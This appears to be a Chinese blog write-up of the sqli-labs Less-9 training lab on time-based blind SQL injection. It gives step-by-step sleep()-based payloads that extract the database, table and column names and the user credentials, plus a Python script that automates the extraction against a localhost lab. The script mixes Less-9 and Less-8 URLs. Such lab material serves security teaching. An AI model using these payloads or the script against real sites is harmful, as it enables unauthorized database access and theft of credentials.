SQL注入——sqli-labs-Less-9时间盲注

这篇学习是参考未完成的歌~师傅的:

SQL注入学习——时间盲注详解 sqli-labs(Less 9)http://t.csdn.cn/6YyaU

文末有盲注脚本

一.做题之前

1.什么是时间盲注?

时间盲注,通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。

2.时间盲注常用函数

if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
sleep(n)      将程序挂起一段时间 n单位为秒
left(a,b)     从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c)    从位置b开始,截取a字符串的c位
length()      返回字符串的长度
Ascii()       将某个字符转换为ascii值
char()        将ASCII码转换为对应的字符

二.看题

这一关是时间盲注、单引号盲注:

时间盲注,不同于布尔盲注的地方在于,不会进行对错的回显,对所有信息都作统一输出,也就是说我们在盲注时,将更加难以进行判断。

刚刚提到的函数中,sleep函数将帮助到我们,我们根据浏览器是否延时输出了来判断对错:

举例:

if(查询语句,sleep(5),1)

如果查询的语句为假,那么直接输出;如果查询的语句为真,那么过5秒之后输出。

回到题目上来,做这道题时总共分了6步,依次来看:

1.判断数据库的库名长度

?id=1' and if(length(database())=8,sleep(5),1)--+

从1开始穷举,到=8的时候延迟5秒输出,所以库名长度为8。

2.判断数据库名

测试库名的第一位:

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

测得第一位为ASCII编码的115,是字母“s”

测试第二位:

?id=1'and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+

测得第二位是ASCII码101,是字母“e”

依次穷举类推,判断出来数据库名为security,库名长度8位。

接下来第三步是推测数据表,首先是数据表名长度:

3.表名长度

下面这个payload中,x代表是第几个表,y代表表名长度是多少:

?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,sleep(5),1)--+

下面是security数据库中的第一个表的表名长度:

?id=1' and if(length((select table_name from information_schema.tables where table_schema = 'security' limit 0,1))=6,sleep(5),1)--+

4.推测表名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+

测得第一个表名的第一位是“e”,递推下去得到表名:emails

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(5),1)--+

然后,第二个表名的第一位是“r”,依此类推得到第二个表名“referers”,第三个“uagens”,第四个“users”

下面尝试注users表

5.猜测users表的列

?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+

测得第一列的名称的第一个字符是“i”,同样类推,得到第一列名为“id”,第二列“username”第三列“password”

6.猜测username、password的所有内容

?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,sleep(5),1)--+

手注是可以注出来,但是相当费时间,我认为,手注更大的意义在于理解方法。所以这里搬运了老师傅的时间盲注脚本我们共同学习:

注意:共有6处url需要改成你自己的url

import requests


# 获取数据库名长度
def database_len():
    for i in range(1, 10):
        url = f"http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>{i},1,sleep(2))"
        r = requests.get(url + '%23')
        if r.elapsed.total_seconds()>2:
            print('database_length:', i)
            return i


#获取数据库名
def database_name(databaselen):
     name = ''
     for j in range(1, databaselen+1):
        for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr(database(),%d,1)='%s',sleep(2),1)" % (j, i)
            #print(url+'%23')
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
     print('database_name:', name)


# 获取数据库表
def tables_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr((select group_concat(table_name) from information_schema.tables " \
                  "where table_schema=database()),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('table_name:', name)



# 获取表中字段
def columns_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr((select group_concat(column_name) from information_schema.columns where " \
                  "table_schema=database() and table_name='users'),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('column_name:', name)



# 获取username
def username_value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr((select group_concat(username) from users),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('username_value:', name)



# 获取password
def password_value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr((select group_concat(password) from users),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('password_value:', name)


if __name__ == '__main__':
    dblen = database_len()
    database_name(dblen)
    tables_name()
    columns_name()
    username_value()
    password_value()


等待脚本跑完,成功得到信息:

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值